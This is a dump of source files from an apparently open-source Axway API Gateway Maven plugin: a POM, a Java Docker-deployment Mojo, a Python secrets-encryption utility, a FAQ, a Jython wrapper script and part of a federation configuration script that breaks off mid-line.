"blob_id": "572249fab7f7eb66120c20153e738f8fe1001717",
"content_id": "3a6cd5ad47f33fdd1e78b9eb4dd159ef4ce39153",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Maven POM",
"length_bytes": 1156,
"license_type": "permissive",
"max_line_length": 204,
"num_lines": 37,
"path": "/example/getting-started/srv-hello-world/pom.xml",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n <modelVersion>4.0.0</modelVersion>\n\n <parent>\n <groupId>com.example</groupId>\n <artifactId>parent</artifactId>\n <version>0.1.0-SNAPSHOT</version>\n </parent>\n\n <groupId>com.example</groupId>\n <artifactId>hello-world-gw</artifactId>\n <version>0.1.0-SNAPSHOT</version>\n <packaging>axway-server-archive</packaging>\n\n <name>Hello World Server</name>\n <description>My first \"Hello World\" server project.</description>\n\n <dependencies>\n <dependency>\n <groupId>com.example</groupId>\n <artifactId>hello-world</artifactId>\n <version>0.1.0-SNAPSHOT</version>\n <type>axway-policy-archive</type>\n </dependency>\n </dependencies>\n\n <build>\n <plugins>\n <plugin>\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>${axway.maven.plugin.ver}</version>\n <extensions>true</extensions>\n </plugin>\n </plugins>\n </build>\n </project>"
},
{
"alpha_fraction": 0.740748405456543,
"alphanum_fraction": 0.7416760921478271,
"avg_line_length": 32.109214782714844,
"blob_id": "68bbc30234ad1bd7202180562f04e30be61107ed",
"content_id": "27644200617bbad69f24cff853a8968cacaee557",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 9701,
"license_type": "permissive",
"max_line_length": 106,
"num_lines": 293,
"path": "/src/main/java/com/axway/maven/apigw/ContainerMojo.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport com.axway.maven.apigw.utils.*;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.node.ObjectNode;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugin.MojoFailureException;\nimport org.apache.maven.plugins.annotations.Execute;\nimport org.apache.maven.plugins.annotations.LifecyclePhase;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.Parameter;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\n@Mojo(name = \"container\", defaultPhase = LifecyclePhase.NONE, requiresProject = true, threadSafe = false)\n@Execute(phase = LifecyclePhase.PACKAGE)\npublic class ContainerMojo extends AbstractGatewayMojo {\n\n\tpublic static final String DEPLOY_DIR_NAME = \"axway-deploy\";\n\n\tprivate static final String PROJECT_NAME = \"gateway\";\n\n\t@Parameter(property = \"axway.deploy.group\", required = true)\n\tprivate String deployGroup;\n\n\t@Parameter(property = \"axway.passphrase.deploy\", required = false)\n\tprivate String passphraseDeploy = null;\n\n\t/**\n\t * Properties to create and deploy new docker containers.\n\t */\n\t@Parameter(property = \"axway.container.scripts\", required = true)\n\tprotected File containerScripts;\n\n\t@Parameter(property = \"axway.container.name\", required = true)\n\tprotected String containerName;\n\n\t@Parameter(property = \"axway.remove.container\", required = false)\n\tprotected String axwayRemoveContainer;\n\n\t@Parameter(property = \"axway.image.name\", required = true)\n\tprotected String imageName;\n\n\t@Parameter(property = \"axway.image.tag\", required = false)\n\tprotected String imageTag;\n\n\t@Parameter(property = \"axway.remove.image\", required = false)\n\tprotected String axwayRemoveImage;\n\n\t@Parameter(property = \"axway.parent.image.name\", required = false)\n\tprotected String parentImageName;\n\n\t@Parameter(property = \"axway.parent.image.tag\", required = false)\n\tprotected String parentImageTag;\n\n\t@Parameter(property = \"axway.license\", required = true)\n\tprotected String license;\n\n\t@Parameter(property = \"axway.merge.dir\", required = false)\n\tprotected String mergeDir;\n\n\t@Parameter(property = \"axway.ports\", required = false)\n\tprivate String axwayPorts;\n\n\t@Parameter(property = \"axway.links\", required = false)\n\tprivate String axwayLinks;\n\n\t@Parameter(property = \"axway.environment.variables\", required = false)\n\tprivate String axwayEnvironmentVariables;\n\n\t@Parameter(property = \"axway.domain.cert\", required = false)\n\tprivate String axwayDomainCert;\n\n\t@Parameter(property = \"axway.domain.key\", required = false)\n\tprivate String axwayDomainKey;\n\n\t@Parameter(property = \"axway.domain.key.pass.file\", required = false)\n\tprivate String axwayDomainKeyPassFile;\n\n\t@Parameter(property = \"axway.admin.node.manager.host\", required = true)\n\tprivate String adminNodeManagerHost;\n\n\t@Parameter(property = \"axway.metrics.db.url\", required = false)\n\tprivate String metricsDbUrl;\n\n\t@Parameter(property = \"axway.metrics.db.username\", required = false)\n\tprivate String metricsDbUsername;\n\n\t@Parameter(property = \"axway.metrics.db.password\", required = false)\n\tprivate String metricsDbPassword;\n\n\tprivate boolean removeContainer = false;\n\tprivate boolean removeImage = false;\n\n\tprivate Map<String, String> containerPorts;\n\tprivate Map<String, String> containerLinks;\n\tprivate Map<String, String> containerEnvironmentVariables;\n\n\tpublic boolean isRemoveContainer() {\n\t\tif ( !this.removeContainer ) {\n\t\t\tthis.removeContainer = Boolean.parseBoolean(axwayRemoveContainer);\n\t\t}\n\t\treturn this.removeContainer;\n\t}\n\n\tpublic boolean isRemoveImage() {\n\t\tif ( !this.removeImage ) {\n\t\t\tthis.removeImage = Boolean.parseBoolean(axwayRemoveImage);\n\t\t}\n\t\treturn this.removeImage;\n\t}\n\n\tpublic Map<String, String> getContainerPorts() {\n\t\tif ( containerPorts == null ) {\n\t\t\tcontainerPorts = splitString(axwayPorts);\n\t\t}\n\t\treturn containerPorts;\n\t}\n\n\tpublic Map<String, String> getContainerLinks() {\n\t\tif ( containerLinks == null ) {\n\t\t\tcontainerLinks = splitString(axwayLinks);\n\t\t}\n\t\treturn containerLinks;\n\t}\n\n\tpublic Map<String, String> getContainerEnvironmentVariables() {\n\t\tif ( containerEnvironmentVariables == null ) {\n\t\t\tcontainerEnvironmentVariables = splitString(axwayEnvironmentVariables);\n\t\t}\n\t\treturn containerEnvironmentVariables;\n\t}\n\n\tprivate Map<String, String> splitString(String splitMe) {\n\t\tString[] split = splitMe.split(\",\");\n\t\tMap<String, String> map = new HashMap<String, String>();\n\t\tfor ( String mapping : split ) {\n\t\t\tString[] mappings = mapping.split(\";\");\n\t\t\tmap.put(mappings[0], mappings[1]);\n\t\t}\n\t\treturn map;\n\t}\n\n\tpublic ContainerMojo() {\n\t}\n\n\tprivate File getTempDir() {\n\t\treturn new File(getTargetDir(), DEPLOY_DIR_NAME);\n\t}\n\n\t@Override\n\tpublic void execute() throws MojoExecutionException, MojoFailureException {\n\t\tPackageType pkg = getPackageType();\n\n\t\tswitch (pkg) {\n\t\tcase POLICY:\n\t\t\tdeployPolicyProject();\n\t\t\tbreak;\n\n\t\tcase SERVER:\n\t\t\tdeployServerProject();\n\t\t\tbreak;\n\n\t\tcase DEPLOYMENT:\n\t\t\tdeployDeploymentProject();\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tthrow new MojoExecutionException(\"Unsupported package type: \" + getPackageType());\n\t\t}\n\t}\n\n\tprivate void deployPolicyProject() throws MojoExecutionException {\n\t\ttry {\n\t\t\t// pack test server project\n\t\t\tProjectPack packer = new ProjectPack(this.homeAxwayGW, getLog());\n\t\t\tpacker.setPassphrasePol(this.passphrasePol);\n\t\t\tint exitCode = packer.execute(getTempDir(), PROJECT_NAME, this.testServerDirectory, null);\n\t\t\tif (exitCode != 0) {\n\t\t\t\tthrow new MojoExecutionException(\"failed to build packed project\");\n\t\t\t}\n\n\t\t\t// configure fed\n\t\t\tFile pol = new File(getTempDir(), PROJECT_NAME + \".pol\");\n\t\t\tFile env = new File(getTempDir(), PROJECT_NAME + \".env\");\n\t\t\tFile info = new File(getTempDir(), PROJECT_NAME + \".info.json\");\n\n\t\t\tObjectMapper mapper = new ObjectMapper();\n\t\t\tObjectNode root = buildBasicArtifactInfo();\n\t\t\tString json = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(root);\n\t\t\tFileUtils.writeStringToFile(info, json, \"UTF-8\");\n\n\t\t\tFile fed = configFed(pol, env, info);\n\n\t\t\t// deploy to server\n\t\t\tdeployFed(fed);\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on packing project\", e);\n\t\t}\n\t}\n\n\tprivate void deployServerProject() throws MojoExecutionException {\n\t\tFile archiveBuildDir = getArchiveBuildDir();\n\n\t\t// configure fed\n\t\tFile pol = new File(archiveBuildDir, ServerArchiveMojo.FILE_GATEWAY_POL);\n\t\tFile env = new File(archiveBuildDir, ServerArchiveMojo.FILE_GATEWAY_ENV);\n\t\tFile info = new File(archiveBuildDir, ServerArchiveMojo.FILE_GATEWAY_INFO);\n\n\t\tFile fed = configFed(pol, env, info);\n\n\t\t// deploy to server\n\t\tdeployFed(fed);\n\t}\n\n\tprivate void deployDeploymentProject() throws MojoExecutionException {\n\t\tFile fed = new File(getArchiveBuildDir(), DeploymentArchiveMojo.FILE_FED_NAME);\n\n\t\tdeployFed(fed);\n\t}\n\n\tprivate File configFed(File pol, File env, File info) throws MojoExecutionException {\n\t\tFedBuilder fb = new FedBuilder(this, pol, env, this.configConfigFile, info);\n\t\tfb.setPassphrasePol(this.passphrasePol);\n\t\tfb.setPassphraseFed(this.passphraseFed);\n\n\t\tfb.addPropertyFiles(getPropertyFiles());\n\n\t\tfb.setCertificatesFile(this.configCertsFile);\n\t\tfb.enableVerboseMode(this.verboseCfgTools);\n\n\t\tFile fed = new File(getTempDir(), PROJECT_NAME + \".fed\");\n\n\t\tint exitCode = fb.execute(fed, null);\n\t\tif (exitCode != 0) {\n\t\t\tthrow new MojoExecutionException(\"failed to configure project: exitCode=\" + exitCode);\n\t\t}\n\n\t\treturn fed;\n\t}\n\n\tprivate void deployFed(File fed) throws MojoExecutionException {\n\t\ttry {\n\t\t\tMap<String, String> polProps = new HashMap<>();\n\t\t\tpolProps.put(\"Name\", this.project.getGroupId() + \":\" + this.project.getArtifactId());\n\t\t\tpolProps.put(\"Version\", this.project.getVersion());\n\t\t\tpolProps.put(\"Type\", \"Test Deployment\");\n\n\t\t\tSource source = new Source(fed, this.passphraseFed);\n\t\t\tTarget target = new Target(this.deployGroup, this.passphraseDeploy);\n\n\t\t\tDockerImage deploy;\n\n\t\t\t// containerName is populated, so we are going to create a new container\n\t\t\tDockerCommands dockerCommands = new DockerCommands(\"Docker Commands\", getLog());\n\t\t\tint exitCode = dockerCommands.execute(\"Remove Container\", this.isRemoveContainer(), this.containerName,\n\t\t\t\t\tnull, null, null, null, null,\n\t\t\t\t\tnull, null, null, null);\n\t\t\tif ( exitCode != 0 ) {\n\t\t\t\tthrow new MojoExecutionException(\"Failed to remove existing container: exitCode: \" + exitCode);\n\t\t\t}\n\n\t\t\texitCode = dockerCommands.execute(\"Remove Image\", this.isRemoveImage(), this.containerName,\n\t\t\t\t\tthis.imageName, this.imageTag, null, null, null,\n\t\t\t\t\tnull, null, null, null);\n\t\t\tif ( exitCode != 0 ) {\n\t\t\t\tthrow new MojoExecutionException(\"Failed to remove existing image: exitCode: \" + exitCode);\n\t\t\t}\n\n\t\t\tdeploy = new DockerImage(this.containerScripts, this.imageName, this.imageTag, this.parentImageName,\n\t\t\t\t\tthis.parentImageTag, this.license, this.mergeDir, this.axwayDomainCert, this.axwayDomainKey,\n\t\t\t\t\tthis.axwayDomainKeyPassFile, getLog());\n\t\t\texitCode = deploy.execute(source, target, polProps, null);\n\t\t\tif ( exitCode != 0 ) {\n\t\t\t\tthrow new MojoExecutionException(\"Failed to create new Docker Image: exitCode: \" + exitCode);\n\t\t\t}\n\n\t\t\texitCode = dockerCommands.execute(\"Create Container\", false, this.containerName,\n\t\t\t\t\tthis.imageName, this.imageTag, this.getContainerPorts(), this.getContainerLinks(),\n\t\t\t\t\tthis.getContainerEnvironmentVariables(), this.adminNodeManagerHost, this.metricsDbUrl,\n\t\t\t\t\tthis.metricsDbUsername, this.metricsDbPassword);\n\t\t\tif ( exitCode != 0 ) {\n\t\t\t\tthrow new MojoExecutionException(\"Failed to create new container: exitCode: \" + exitCode);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on deploying project\", e);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.5830160975456238,
"alphanum_fraction": 0.5879941582679749,
"avg_line_length": 33.67005157470703,
"blob_id": "f4cd7e0d944c8a3a3fcc614f43efdcd4977713a8",
"content_id": "4f9e1e08b91a98809b65bc308d5c31b8c99f98fe",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6830,
"license_type": "permissive",
"max_line_length": 145,
"num_lines": 197,
"path": "/src/main/resources/scripts/lib/secrets.py",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "import sys\nimport os\nimport traceback\nimport logging\nimport json\nimport random\nimport base64\nimport re\n\nfrom optparse import OptionParser\nfrom com.vordel.common.crypto import PasswordCipher\nfrom java.lang import String\n\nclass Secrets:\n \"\"\"Configuration store for secrets.\n The values of the properties are encrypted with a given key.\n \"\"\"\n __key_check = \"axway-maven-plugin\"\n __prefix_encrypt = \"encrypt:\"\n\n def __init__(self, secrets_key_file, secrets_file_path, create_if_not_exists=False):\n self.__file_path = None\n self.__secrets_json = {}\n self.__cipher = None\n\n if not secrets_key_file:\n raise ValueError(\"No key file specified to encrypt/decrypt secrets!\")\n if not secrets_file_path:\n raise ValueError(\"Path to secrets file not specified!\")\n\n # read key\n if not os.path.isfile(secrets_key_file):\n raise ValueError(\"Key file not found: %s\" % (secrets_key_file))\n \n key = None\n with open(secrets_key_file, mode='rb') as pf:\n key = pf.read()\n\n self.__file_path = secrets_file_path\n\n self.__cipher = PasswordCipher(key)\n\n if os.path.isfile(self.__file_path):\n logging.info(\"Reading secrets file '%s'\" % (self.__file_path))\n with open(self.__file_path) as secrets_file:\n self.__secrets_json = json.load(secrets_file)\n\n if \"secrets\" not in self.__secrets_json:\n raise ValueError(\"File '%s' is not a valid secrets file; missing 'secrets' attribute!\" % (self.__file_path))\n\n key_check = self.get_secret(\"__\")\n if not key_check:\n raise ValueError(\"Invalid secrets file; key check is missing!\")\n\n if key_check != self.__key_check:\n raise ValueError(\"Invalid key!\")\n\n elif create_if_not_exists:\n self.__secrets_json[\"secrets\"] = {\"__\" : self.__encrypt_value(self.__key_check)}\n logging.info(\"Generating empty secrets.\")\n else:\n raise ValueError(\"Secrets file '%s' doesn't exist!\" % (self.__file_path))\n return\n\n def __encrypt_value(self, value, cipher=None):\n if not cipher:\n cipher = self.__cipher\n \n # add salt\n salt = \"#{:06d}:\".format(random.randint(0,999999))\n value = salt + value\n\n # encrypt salted value\n value_bytes = cipher.encrypt(value.encode('utf-8'))\n value_b64 = base64.b64encode(value_bytes)\n\n return value_b64\n\n def encrypt(self):\n \"\"\"Encrypt tagged values.\n Encrypt the values of all properties where the value starts with 'encrypt:'.\n \"\"\"\n for c,v in self.__secrets_json[\"secrets\"].items():\n if v.startswith(self.__prefix_encrypt):\n v = self.__encrypt_value(v[len(self.__prefix_encrypt):])\n self.__secrets_json[\"secrets\"][c] = v\n logging.info(\"Property '%s' encrypted.\" % (c))\n return\n\n def get_secret(self, key):\n if key not in self.__secrets_json[\"secrets\"]:\n return None\n\n value = self.__secrets_json[\"secrets\"][key]\n if value:\n if value.startswith(self.__prefix_encrypt):\n raise ValueError(\"Key '%s' is not encrypted, please apply 'encrypt' before using!\" % (key))\n\n # decrypt salted value\n value_bytes = None\n try:\n value_bytes = base64.b64decode(value)\n except Exception as e:\n raise ValueError(\"Key '%s' has plain text or is invalid!\" % (key))\n\n decoded_bytes = self.__cipher.decrypt(value_bytes)\n\n try:\n salted = bytearray(decoded_bytes).decode('utf-8')\n except:\n raise ValueError(\"Invalid key!\")\n\n # remove salt\n if not re.match(r\"#\\d{6}:\", salted):\n raise ValueError(\"Key '%s' is invalid1\" % (key))\n\n value = salted[8:]\n\n return value\n\n def change_key(self, secrets_key_file_new):\n # create new cipher using new key file\n if not os.path.isfile(secrets_key_file_new):\n raise ValueError(\"Key file not found: %s\" % (secrets_key_file_new))\n \n key = None\n with open(secrets_key_file_new, mode='rb') as skf:\n key = skf.read()\n\n new_cipher = PasswordCipher(key)\n\n # re-encrypt values\n for s in self.__secrets_json[\"secrets\"]:\n v = self.get_secret(s)\n v = self.__encrypt_value(v, new_cipher)\n\n self.__secrets_json[\"secrets\"][s] = v\n\n logging.info(\"Key changed for property '%s'.\" % (s))\n\n self.__cipher = new_cipher\n return\n\n def write(self):\n json_str = json.dumps(self.__secrets_json, sort_keys=True, indent=2)\n with open(self.__file_path, \"w\") as secrets_file:\n secrets_file.write(json_str)\n logging.info(\"Secrets file '%s' updated.\" % (self.__file_path))\n return\n\ndef main_encrypt():\n prog = \"encrypt\"\n description=\"Encrypt secrets.\"\n version = \"%prog 1.0.0\"\n usage = \"%prog OPTIONS\"\n epilog = \"\"\n \n parser = OptionParser(usage=usage, version=version, epilog=epilog, prog=prog, description=description)\n parser.add_option(\"-v\", \"--verbose\", dest=\"verbose\", help=\"Enable verbose messages [optional]\", action=\"store_true\")\n parser.add_option(\"--secrets-file\", dest=\"secrets_file\", help=\"Path of JSON file containing confidential properties\", metavar=\"FILEPATH\")\n parser.add_option(\"--secrets-key\", dest=\"secrets_key_file\", help=\"Path to key file to encrypt confidential properties\", metavar=\"FILEPATH\")\n parser.add_option(\"--secrets-key-new\", dest=\"secrets_key_file_new\", help=\"Path to new key file to change key [optional]\", metavar=\"FILEPATH\")\n\n (options, args) = parser.parse_args()\n\n if not options.secrets_file:\n parser.error(\"Secrets file is missing!\")\n\n if not options.secrets_key_file:\n parser.error(\"Key file is missing!\")\n\n logging.basicConfig(format='%(levelname)s: %(message)s')\n if options.verbose:\n logging.getLogger().setLevel(logging.DEBUG)\n else:\n logging.getLogger().setLevel(logging.INFO)\n\n try:\n secrets = Secrets(options.secrets_key_file, options.secrets_file, create_if_not_exists=True)\n secrets.encrypt()\n if options.secrets_key_file_new:\n logging.info(\"Re-encrypt values to change key.\")\n secrets.change_key(options.secrets_key_file_new)\n secrets.write()\n\n except Exception as e:\n if options.verbose:\n logging.error(\"Error occurred, check details:\", exc_info=True)\n else:\n logging.error(\"%s\" % (e))\n sys.exit(1) \n\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main_encrypt()\n"
},
{
"alpha_fraction": 0.7747663259506226,
"alphanum_fraction": 0.7747663259506226,
"avg_line_length": 35.89655303955078,
"blob_id": "8ae3ed2562dbb5ebe7e939514d968fc5ea0173f8",
"content_id": "3439c1797789632cc35804a25870d7e071d1d1c5",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 3210,
"license_type": "permissive",
"max_line_length": 157,
"num_lines": 87,
"path": "/doc/manual/_faq.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= FAQ\n:Author: Martin Look\n:Email: [email protected]\n:source-highlighter: prettify\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\n\n== Contribution\n\n=== I found a bug, what shall I do?\n\nIf you find a bug, don't hesitate to open an issue on the GitHub project page.\nI'll try to help you as soon as possible.\n\n[NOTE]\n====\nPlease remember, it is a community project.\nThe plugin isn't officially supported by Axway.\nSo, please *don't* open a case in the Axway support portal.\n====\n\n=== I have a great idea to improve the plugin, what shall I do?\n\nFeedback is always appreciated.\nSo open an issue on the GitHub project and describe your ideas.\n\n== Features\n\n=== Why are passphrases not supported for policy projects?\n\nOne of the main intention of policy projects is shareability.\nPolicy projects are also environment independent.\nThe _real_ configuration, including credentials and keys, is done during the deployment.\nSo it is feasible to have policy projects without any secret or critical information.\n\nIt's a tradeoff between security and usability.\nAs a developer you have to remember not to store any secret information in a policy project.\n\n=== Why are references not supported for environmentalization?\n\nEnvironmentalized fields containing a reference to an entity (e.g. reference to a certificate or policy), store the reference as a path to the linked entity.\nGetting the path and formatting the XML reference is very difficult and error prone.\n\nTherefore, it is not yet planned to support references.\n\nPlease open an issue on GitHub if this is a show stopper for you.\nI'll try to find a solution.\n\n=== How to work with certificates?\n\nAlways use an alias describing the purpose of the certificate.\nIf the same certificate is used for multiple purposes, add the certificate multiple times.\n\nDon't use the common name of a certificate as an alias.\nOtherwise, for environment specific certificates, there will be a mismatch between the CN in the alias and the CN in the replaced certificate.\n\nNOTE: Remember, environmentalized references are not supported.\nSo, for a environmentalized field, the link to the certificate (by alias) can't be changed.\n\n== Documentation\n\n=== What about the `.adoc` extension?\n\nThe documentation is written in Asciidoc.\nSo we use the extension `.adoc` for documentation files.\n\n=== How can I read the documentation of the cloned repository in a nice format?\n\nThere is an _Asciidoctor.js_ extension for Chrome to view Asciidoc files in a beautiful format.\n\n=== How do I get the documentation in PDF format?\n\nlink:https://asciidoctor.org/[Asciidoctor] provides some tools to render Asciidoc sources into various output formats.\nlink:https://github.com/asciidoctor/asciidoctor-pdf[Asciidoctor PDF] can be used to convert the documentation into a well layouted PDF document.\nFollow the instructions on the the home page to install the tool.\n\nTo generate the PDF execute the following command in the root project folder:\n\n $ asciidoctor-pdf -a pdf-themesdir=doc/pdf-themes -a pdf-theme=axway doc/manual/user-guide.adoc -d book -o user-guide.pdf\n"
},
{
"alpha_fraction": 0.6315789222717285,
"alphanum_fraction": 0.6387559771537781,
"avg_line_length": 21,
"blob_id": "25726d3ab824c79301981e87883394ab5df8694d",
"content_id": "113541a2fd743e6d9702a1338cca76aea8b9cf9c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 418,
"license_type": "permissive",
"max_line_length": 55,
"num_lines": 19,
"path": "/src/main/resources/scripts/encrypt.sh",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "#!/bin/sh\nif [ \"${AXWAY_HOME}\" != \"\" ]\nthen\n\tJYTHON=${AXWAY_HOME}/apigateway/posix/bin/jython\n\tif [ $(uname -o) == \"Msys\" ]\n\tthen\n\t\tJYTHON=${AXWAY_HOME}/apigateway/Win32/bin/jython.bat\n\tfi\n\n\tif [ -f \"${JYTHON}\" ]\n\tthen\n\t\tCMD_HOME=`dirname $0`\n\t\t\"${JYTHON}\" \"${CMD_HOME}/lib/secrets.py\" $*\n\telse\n\t\techo \"ERROR: Jython interpreter not found: ${JYTHON}\"\n\tfi\nelse\n\techo \"ERROR: environment variable AXWAY_HOME not set\"\nfi\n"
},
{
"alpha_fraction": 0.5874892473220825,
"alphanum_fraction": 0.5902837514877319,
"avg_line_length": 44.31168746948242,
"blob_id": "9b01081e5df7d244fbae08eed507e7cf227ae4b1",
"content_id": "cd554d99cd8597c84d345a39f06ea2c4a0c73c8b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13956,
"license_type": "permissive",
"max_line_length": 196,
"num_lines": 308,
"path": "/src/main/resources/scripts/lib/fedconfig.py",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "import vutil, os, sys, re, json\nimport logging\n\nfrom archiveutil import DeploymentArchiveAPI\nfrom esapi import EntityStoreAPI\n\nfrom java.io import File\nfrom java.lang import String\nfrom java.security import KeyFactory, KeyStore\n\nfrom com.vordel.store.util import ChangeEncryptedFields\nfrom com.vordel.archive.fed import PolicyArchive, EnvironmentArchive, DeploymentArchive\nfrom com.vordel.common.base64 import Encoder, Decoder\nfrom com.vordel.security.openssl import PKCS12\n\nfrom envconfig import EnvConfig\nfrom envconfig import CertConfig\nfrom envconfig import CertInfo\n \nfrom java.io import File, FileInputStream, FileReader, ByteArrayInputStream\nfrom java.security.cert import CertificateFactory\n\nclass FedConfigurator:\n def __init__(self, pol_archive_path, env_archive_path, config_path, cert_config_path = None, properties = None, passphrase = \"\", confidentials=None):\n self.__cert_config = None\n self.__simulation_mode = False\n self.__update_cert_config = False\n self.__expiration_days = -1\n self.__base_dirs = None\n\n self.__passphrase_in = passphrase\n self.__pol_archive = PolicyArchive(pol_archive_path)\n self.__env_archive = EnvironmentArchive(env_archive_path)\n self.__fed_archive = None\n try:\n self.__fed_archive = DeploymentArchive(self.__pol_archive, self.__env_archive, self.__passphrase_in)\n except TypeError:\n # backward compatibility for 7.5.3\n self.__fed_archive = DeploymentArchive(self.__pol_archive, self.__env_archive)\n self.__config = EnvConfig(config_path, properties, confidentials)\n\n if cert_config_path is not None:\n self.__cert_config = CertConfig(cert_config_path, properties, confidentials)\n\n logging.info(\"Deployment archive configuration initialized\")\n return\n\n def enable_cert_config_update(self):\n self.__update_cert_config = True\n\n def enable_simulation_mode(self):\n self.__simulation_mode = True\n\n def set_cert_expiration_days(self, days):\n self.__expiration_days = days\n\n def set_system_properties(self, sys_properties):\n self.__config.set_system_properties(sys_properties)\n\n def set_base_dirs(self, base_dirs):\n self.__base_dirs = base_dirs\n\n def configure(self, passphrase = \"\"):\n succeeded = self.__configure_entities()\n if succeeded:\n succeeded = self.__configure_certificates()\n if not succeeded:\n logging.error(\"Configuration of certificates failed!\")\n else:\n logging.error(\"Configuration of entities failed; check JSON configuration for unconfigured entity fields!\")\n\n if succeeded and self.__passphrase_in != passphrase:\n fed_api = DeploymentArchiveAPI(self.__fed_archive, self.__passphrase_in)\n changer = ChangeEncryptedFields(fed_api.entityStore)\n changer.execute(passphrase, self.__passphrase_in)\n fed_api.deploymentArchive.updateConfiguration(fed_api.entityStore)\n logging.info(\"Passphrase for output archives changed\")\n\n return succeeded\n\n def __configure_entities(self):\n logging.info(\"Configure environmentalized entities\")\n fed_api = DeploymentArchiveAPI(self.__fed_archive, self.__passphrase_in)\n env_settings = fed_api.envSettings.getEnvSettings()\n succeeded = True\n\n config = {}\n\n for env_entity in env_settings.getEnvironmentalizedEntities():\n env_fields = env_entity.getEnvironmentalizedFields()\n for env_field in env_fields:\n field_value = self.__config.get_value(env_entity, env_field)\n if (field_value.key.type == \"reference\"):\n raise ValueError(\"Reference types are not supported for environmentalization: name=%s; index=%d; type=%s; entity=%s\" \\\n % (field_value.key.name, field_value.key.index, field_value.key.type, field_value.key.short_hand_key))\n\n if (field_value.value is not None):\n logging.info(\"Configure field: name=%s; index=%d; type=%s; entity=%s\" % (field_value.key.name, field_value.key.index, field_value.key.type, field_value.key.short_hand_key))\n\n if not self.__simulation_mode:\n if field_value.key.short_hand_key not in config:\n config[field_value.key.short_hand_key] = []\n\n if field_value.key.type == \"integer\":\n config[field_value.key.short_hand_key].append([field_value.key.name, field_value.key.index, int(field_value.value)])\n else:\n config[field_value.key.short_hand_key].append([field_value.key.name, field_value.key.index, str(field_value.value)])\n else:\n logging.error(\"Unconfigured field: name=%s; index=%d; type=%s; entity=%s\" % (field_value.key.name, field_value.key.index, field_value.key.type, field_value.key.short_hand_key))\n succeeded = False\n \n if succeeded:\n if not self.__simulation_mode:\n fed_api.addEnvSettings(config)\n logging.info(\"Environmentalized fields updated.\")\n else:\n logging.info(\"[SIMULATION_MODE] Environmentalized fields simulation succeeded.\")\n \n self.__config.update_config_file()\n\n return succeeded\n\n def __resolve_file_path(self, file):\n \"\"\"Searches the certificate file within all specified base directories.\n\n The first existing file will be returned.\n \"\"\"\n if file and self.__base_dirs:\n for base_dir in self.__base_dirs:\n f = os.path.join(base_dir, file)\n if os.path.isfile(f):\n return f\n return file\n\n def __get_certificate_infos(self):\n infos = []\n es = EntityStoreAPI.wrap(self.__fed_archive.getEntityStore(), self.__passphrase_in)\n cert_entities = es.getAll(\"/[Certificates]name=Certificate Store/[Certificate]**\")\n cf = CertificateFactory.getInstance(\"X.509\")\n for cert_entity in cert_entities:\n alias = cert_entity.getStringValue(\"dname\")\n subject = None\n not_after = None\n\n content = cert_entity.getBinaryValue(\"content\")\n if content:\n cert = cf.generateCertificate(ByteArrayInputStream(content))\n subject = cert.getSubjectDN().getName()\n not_after = cert.getNotAfter()\n\n infos.append(CertInfo(alias, subject, not_after))\n return infos\n\n def __get_key_from_p12(self, file, password=None):\n io = FileInputStream(file)\n pkcs12 = PKCS12(io)\n if password is not None:\n try:\n pkcs12.decrypt(String(password).toCharArray())\n except:\n raise ValueError(\"Invalid passphrase for .p12 certificate!\")\n return pkcs12.getKey()\n\n def __get_cert_from_p12(self, file, password=None):\n ks = KeyStore.getInstance(\"PKCS12\")\n io = FileInputStream(file)\n if password is None:\n ks.load(io, None)\n else:\n ks.load(io, String(password).toCharArray())\n io.close()\n\n for alias in ks.aliases():\n if ks.isKeyEntry(alias):\n return ks.getCertificate(alias)\n return None\n\n def __add_or_replace_certificate(self, es, alias, cert, private_key=None):\n cert_store = es.get('/[Certificates]name=Certificate Store')\n\n # Get or create certificate entity\n cert_entity = es.getChild(cert_store, '[Certificate]dname=%s' % (es.escapeField(alias)))\n if cert_entity is None:\n cert_entity = es.createEntity(\"Certificate\")\n cert_entity.setStringField(\"dname\", alias)\n es.addEntity(cert_store, cert_entity)\n cert_entity = 